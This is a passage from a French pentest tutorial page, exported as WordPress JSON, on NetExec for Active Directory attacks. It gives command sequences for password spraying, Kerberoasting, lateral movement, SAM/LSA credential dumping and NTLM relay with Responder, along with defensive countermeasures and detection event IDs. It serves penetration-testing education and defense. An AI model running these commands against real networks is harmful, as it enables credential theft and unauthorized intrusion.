bruteforce.<\/p>\n<\/div>\n<\/div>\n<p><strong>\u00c9tape 1<\/strong> \u2014 V\u00e9rification de la politique de mot de passe (CRITIQUE avant tout spraying).<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --pass-pol<\/code><\/pre>\n<\/div>\n<p>_Si <code>Account Lockout Threshold<\/code> est bas (ex : 3 ou 5), le bruteforce est interdit \u2014 risque de lockout massif._<\/p>\n<p><strong>\u00c9tape 2<\/strong> \u2014 D\u00e9couverte r\u00e9seau et identification des cibles. V\u00e9rifier la signature SMB.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.0\/24<\/code><\/pre>\n<\/div>\n<p>_<code>signing:False<\/code> = cible potentielle pour du NTLM Relaying avec <code>ntlmrelayx.py<\/code>._<\/p>\n<p><strong>\u00c9tape 3<\/strong> \u2014 \u00c9num\u00e9ration sans credentials (null session, guest, RID brute).<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.5 -u &#039;&#039; -p &#039;&#039; --shares --users --rid-brute<\/code><\/pre>\n<\/div>\n<p><strong>\u00c9tape 4<\/strong> \u2014 Password spraying avec les utilisateurs d\u00e9couverts.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.5 -u users.txt -p &#039;Password123!&#039; -d CORP --continue-on-success<\/code><\/pre>\n<\/div>\n<p><strong>\u00c9tape 5<\/strong> \u2014 Avec des credentials valides, \u00e9num\u00e9rer le domaine via LDAP.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.5 -u user1 -p &#039;pass&#039; --users --groups --kerberoasting kerb.txt --asreproast asrep.txt<\/code><\/pre>\n<\/div>\n<p><strong>\u00c9tape 6<\/strong> \u2014 Cartographier les droits admin et se lat\u00e9raliser (SMB + WinRM).<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.0\/24 -u user1 -p &#039;pass&#039;\nnxc winrm 10.10.10.0\/24 -u user1 -p &#039;pass&#039;<\/code><\/pre>\n<\/div>\n<p>_Chercher les <code>(Pwn3d!)<\/code> sur les deux protocoles._<\/p>\n<p><strong>\u00c9tape 7<\/strong> \u2014 Dump de credentials sur les machines <code>(Pwn3d!)<\/code>.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.50 -u admin -p &#039;pass&#039; --local-auth -M sam\nnxc smb 10.10.10.50 -u admin -p &#039;pass&#039; --local-auth --lsa<\/code><\/pre>\n<\/div>\n<p><strong>\u00c9tape 8<\/strong> \u2014 (Optionnel) NTLM Relay avec les cibles sans SMB signing.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb --gen-relay-list smb_targets.txt 10.10.10.0\/24\nsudo ntlmrelayx.py -tf smb_targets.txt -smb2support\nsudo responder -I eth0<\/code><\/pre>\n<\/div>\n<h3>Combinaisons Utiles<\/h3>\n<div class=\"callout callout--tip\">\n<div class=\"callout__title\">\ud83d\udd17 Pipes &amp; Encha\u00eenements<\/div>\n<div class=\"callout__content\">\n<p>NetExec s&rsquo;int\u00e8gre dans un workflow d&rsquo;attaque AD complet avec Responder, Impacket et BloodHound.<\/p>\n<\/div>\n<\/div>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\"># Workflow NTLM Relay complet\nnxc smb 10.10.10.0\/24 --gen-relay-list smb_targets.txt\nsudo ntlmrelayx.py -tf smb_targets.txt -smb2support\nsudo responder -I eth0\nnxc smb 10.10.10.0\/24 -u admin -H &lt;hash_r\u00e9cup\u00e9r\u00e9&gt; --sam<\/code><\/pre>\n<\/div>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\"># Kerberoasting \u2192 cracking offline \u2192 r\u00e9utilisation\nnxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --kerberoasting kerb.txt\nhashcat -m 13100 kerb.txt wordlist.txt\nnxc smb 10.10.10.0\/24 -u svc_account -p &#039;crackedpassword&#039;<\/code><\/pre>\n<\/div>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\"># Collecte BloodHound via LDAP\nnxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --bloodhound -ns 10.10.10.5<\/code><\/pre>\n<\/div>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\"># Enrichir un scan avec modules\nnxc smb 192.168.1.0\/24 -u admin -p &#039;pass&#039; -M spider_plus\nnxc smb 192.168.1.0\/24 -u admin -p &#039;pass&#039; -M lsassy<\/code><\/pre>\n<\/div>\n<h3>Cas Particuliers &amp; Pi\u00e8ges<\/h3>\n<div class=\"callout callout--warning\">\n<div class=\"callout__title\">\u26a0\ufe0f Points d&#039;attention<\/div>\n<div class=\"callout__content\">\n<ul>\n<li><strong><code>(Pwn3d!)<\/code> vs <code>[+]<\/code><\/strong> : Un <code>[+]<\/code> jaune signifie que les credentials sont valides. <code>(Pwn3d!)<\/code> vert signifie en plus que l&rsquo;utilisateur est administrateur local \u2014 c&rsquo;est l&rsquo;indicateur cl\u00e9 pour le dump et l&rsquo;ex\u00e9cution de commandes.<\/li>\n<li><strong><code>--local-auth<\/code><\/strong> : Indispensable pour tester un compte local (ex : <code>.Administrateur<\/code>). Sans ce flag, l&rsquo;authentification se fait contre le domaine par d\u00e9faut. Aussi n\u00e9cessaire pour l&rsquo;authentification SQL (<code>nxc mssql<\/code>).<\/li>\n<li><strong>Lockout<\/strong> : TOUJOURS v\u00e9rifier la politique avec <code>--pass-pol<\/code> avant tout password spraying. Un <code>Account Lockout Threshold<\/code> bas = bruteforce interdit.<\/li>\n<li><strong>SMB signing<\/strong> : Lors du scan initial, nxc indique <code>signing:True<\/code> ou <code>False<\/code>. <code>signing:True<\/code> = pas vuln\u00e9rable au NTLM relay.<\/li>\n<li><strong>OPSEC<\/strong> : NetExec est extr\u00eamement bruyant. Chaque tentative g\u00e9n\u00e8re un Event ID 4625\/4624. Un SOC d\u00e9tectera rapidement un scan massif.<\/li>\n<li><strong>VNC<\/strong> : Pas de nom d&rsquo;utilisateur, seulement <code>-p<\/code>. Ne pas mettre <code>-u<\/code>.<\/li>\n<li><strong>CrackMapExec vs NetExec<\/strong> : CME n&rsquo;est plus maintenu. La syntaxe est identique : <code>crackmapexec smb<\/code> = <code>nxc smb<\/code>.<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<hr>\n<h2>D\u00e9fense &amp; Ressources<\/h2>\n<h3>Contre-mesures &amp; D\u00e9tection<\/h3>\n<div class=\"callout callout--warning\">\n<div class=\"callout__title\">\ud83d\udee1\ufe0f C\u00f4t\u00e9 D\u00e9fensif<\/div>\n<div class=\"callout__content\">\n<ul>\n<li><strong>Activer SMB signing<\/strong> sur toutes les machines pour bloquer le NTLM relay<\/li>\n<li><strong>D\u00e9sactiver NTLMv1<\/strong> et forcer NTLMv2 minimum<\/li>\n<li><strong>Politique de lockout<\/strong> : Configurer un seuil de verrouillage pour limiter le password spraying<\/li>\n<li><strong>Logs \u00e0 surveiller<\/strong> : Event ID 4625 (\u00e9chec auth), 4624 (succ\u00e8s type 3 r\u00e9seau), 4776 (validation NTLM), 4648 (logon explicite WinRM), 91 (WinRM)<\/li>\n<li><strong>IDS\/IPS<\/strong> : Les signatures de NetExec sont d\u00e9tect\u00e9es par la plupart des EDR modernes<\/li>\n<li><strong>Segmentation r\u00e9seau<\/strong> : Limiter l&rsquo;acc\u00e8s SMB (445), WinRM (5985), RDP (3389) entre postes de travail<\/li>\n<li><strong>LAPS<\/strong> : D\u00e9ployer Local Administrator Password Solution pour casser le mouvement lat\u00e9ral<\/li>\n<li><strong>D\u00e9sactiver les null sessions<\/strong> et le compte guest<\/li>\n<li><strong>D\u00e9sactiver <code>xp_cmdshell<\/code><\/strong> sur les serveurs SQL Server<\/li>\n<li><strong>Restreindre WinRM<\/strong> aux seuls administrateurs et machines autoris\u00e9es via GPO<\/li>\n<li><strong>Auditer les SPN<\/strong> : Supprimer les SPN inutiles sur les comptes utilisateurs (limiter le Kerberoasting)<\/li>\n<li><strong>Pr\u00e9-authentification Kerberos<\/strong> : S&rsquo;assurer qu&rsquo;elle est activ\u00e9e sur tous les comptes (limiter l&rsquo;AS-REP Roasting)<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<h3>Installation<\/h3>\n<div class=\"callout callout--tip\">\n<div class=\"callout__title\">\ud83d\udca1 Installation<\/div>\n<div class=\"callout__content\">\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\"># Pr\u00e9install\u00e9 sur Kali Linux (versions r\u00e9centes)\n# Sinon :\nsudo apt install netexec\n\n# Ou via pipx (recommand\u00e9)\npipx install netexec\n\n# V\u00e9rifier l&#039;installation\nnxc --version<\/code><\/pre>\n<\/div>\n<\/div>\n<\/div>\n<h3>\u00c9quivalent Windows<\/h3>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83e\ude9f Section optionnelle<\/div>\n<div class=\"callout__content\">\n<p>NetExec propose des builds Windows (<code>nxc.exe<\/code>). C\u00f4t\u00e9 outils natifs Windows :<\/p>\n<\/div>\n<\/div>\n<table>\n<thead>\n<tr>\n<th>Linux<\/th>\n<th>Windows<\/th>\n<th>Notes<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>nxc smb<\/code><\/td>\n<td><code>nxc.exe smb<\/code><\/td>\n<td>NetExec a des builds Windows<\/td>\n<\/tr>\n<tr>\n<td><code>nxc winrm -x<\/code><\/td>\n<td><code>Invoke-Command<\/code> (PowerShell)<\/td>\n<td>Ex\u00e9cution \u00e0 distance native<\/td>\n<\/tr>\n<tr>\n<td><code>nxc smb --sam<\/code><\/td>\n<td><code>reg save<\/code> \/ <code>secretsdump.py<\/code><\/td>\n<td>Dump SAM<\/td>\n<\/tr>\n<tr>\n<td><code>nxc smb --users<\/code><\/td>\n<td><code>net user \/domain<\/code><\/td>\n<td>\u00c9num\u00e9ration utilisateurs<\/td>\n<\/tr>\n<tr>\n<td><code>nxc ldap --users<\/code><\/td>\n<td><code>Get-ADUser -Filter *<\/code><\/td>\n<td>\u00c9num\u00e9ration AD via PowerShell<\/td>\n<\/tr>\n<tr>\n<td><code>nxc mssql -q<\/code><\/td>\n<td><code>sqlcmd<\/code><\/td>\n<td>Requ\u00eates SQL natives<\/td>\n<\/tr>\n<tr>\n<td><code>nxc rdp<\/code><\/td>\n<td><code>mstsc.exe<\/code> \/ <code>cmdkey<\/code><\/td>\n<td>Client RDP natif<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Liens &amp; Ressources<\/h3>\n<table>\n<thead>\n<tr>\n<th>Type<\/th>\n<th>Lien<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Documentation officielle<\/td>\n<td>[NetExec Wiki](https:\/\/www.netexec.wiki\/)<\/td>\n<\/tr>\n<tr>\n<td>GitHub<\/td>\n<td>[NetExec GitHub](https:\/\/github.com\/Penntest-dad\/NetExec)<\/td>\n<\/tr>\n<tr>\n<td>HackTricks \u2014 SMB<\/td>\n<td>[HackTricks &#8211; SMB Pentesting](https:\/\/book.hacktricks.wiki\/en\/network-services-pentesting\/pentesting-smb.html)<\/td>\n<\/tr>\n<tr>\n<td>HackTricks \u2014 WinRM<\/td>\n<td>[HackTricks &#8211; WinRM](https:\/\/book.hacktricks.wiki\/en\/network-services-pentesting\/5985-5986-pentesting-winrm.html)<\/td>\n<\/tr>\n<tr>\n<td>HackTricks \u2014 MSSQL<\/td>\n<td>[HackTricks &#8211; MSSQL](https:\/\/book.hacktricks.wiki\/en\/network-services-pentesting\/pentesting-mssql-microsoft-sql-server.html)<\/td>\n<\/tr>\n<tr>\n<td>HackTricks \u2014 LDAP<\/td>\n<td>[HackTricks &#8211; LDAP](https:\/\/book.hacktricks.wiki\/en\/network-services-pentesting\/pentesting-ldap.html)<\/td>\n<\/tr>\n<tr>\n<td>DCSync<\/td>\n<td>[DCSync](..\/..\/Pentest%20AD%20(Vuln\u00e9rabilit\u00e9s)\/DCSync.md)<\/td>\n<\/tr>\n<tr>\n<td>Outils li\u00e9s<\/td>\n<td>[Responder](Responder.md), [[Impacket]], [BloodHound](BloodHound.md), [mimikatz](mimikatz.md), [smbclient](smbclient.md), [enum4linux](enum4linux.md), [CrackMapExec](CrackMapExec.md)<\/td>\n<\/tr>\n<tr>\n<td>Ports associ\u00e9s<\/td>\n<td>[[..\/Ports\/N\u00b0\/Port 139 et 445 &#8211; SMB.canvas<\/td>\n<td>Port 139 et 445 &#8211; SMB]], <span class=\"canvas-link\" title=\"Canvas Obsidian\">Port 5985 &#8211; WinRM<\/span>, <span class=\"canvas-link\" title=\"Canvas Obsidian\">Port 3389 &#8211; RDP<\/span>, <span class=\"canvas-link\" title=\"Canvas Obsidian\">Port 389 &#8211; LDAP<\/span>, <span class=\"canvas-link\" title=\"Canvas Obsidian\">Port 1433 &#8211; MSSQL<\/span>, <span class=\"canvas-link\" title=\"Canvas Obsidian\">Port 22 &#8211; SSH<\/span>, <span class=\"canvas-link\" title=\"Canvas Obsidian\">Port 21 &#8211; FTP<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n","protected":false},"excerpt":{"rendered":"<p>Successeur de CrackMapExec \u2014 outil multiprotocole pour l&rsquo;\u00e9num\u00e9ration, le test d&rsquo;identifiants, le mouvement lat\u00e9ral et la post-exploitation en environnement Active Directory<\/p>\n","protected":false},"template":"","meta":{"footnotes":""},"phase_pentest":[25,26,27],"categorie_fonctionnelle":[],"port_numero":[61,187,60,62,32,34,188,64,63],"protocole":[185,28,59,57,30,58,186,56],"tag_outil":[65,66],"class_list":["post-301","pandack_outil","type-pandack_outil","status-publish","hentry","phase_pentest-enumeration","phase_pentest-exploitation","phase_pentest-post-exploitation","port_numero-61","port_numero-187","port_numero-60","port_numero-62","port_numero-32","port_numero-34","port_numero-188","port_numero-64","port_numero-63","protocole-ftp","protocole-ldap","protocole-mssql","protocole-rdp","protocole-smb","protocole-ssh","protocole-vnc","protocole-winrm","tag_outil-bruteforce","tag_outil-privesc"],"_links":{"self":[{"href":"https:\/\/pandack.fr\/index.php?rest_route=\/wp\/v2\/pandack_outil\/301","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/pandack.fr\/index.php?rest_route=\/wp\/v2\/pandack_outil"}],"about":[{"href":"https:\/\/pandack.fr\/index.php?rest_route=\/wp\/v2\/types\/pandack_outil"}],"version-history":[{"count":0,"href":"https:\/\/pandack.fr\/index.php?rest_route=\/wp\/v2\/pandack_outil\/301\/revisions"}],"wp:attachment":[{"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=301"}],"wp:term":[{"taxonomy":"phase_pentest","embeddable":true,"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fphase_pentest&post=301"},{"taxonomy":"categorie_fonctionnelle","embeddable":true,"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategorie_fonctionnelle&post=301"},{"taxonomy":"port_numero","embeddable":true,"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fport_numero&post=301"},{"taxonomy":"protocole","embeddable":true,"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fprotocole&post=301"},{"taxonomy":"tag_outil","embeddable":true,"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftag_outil&post=301"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}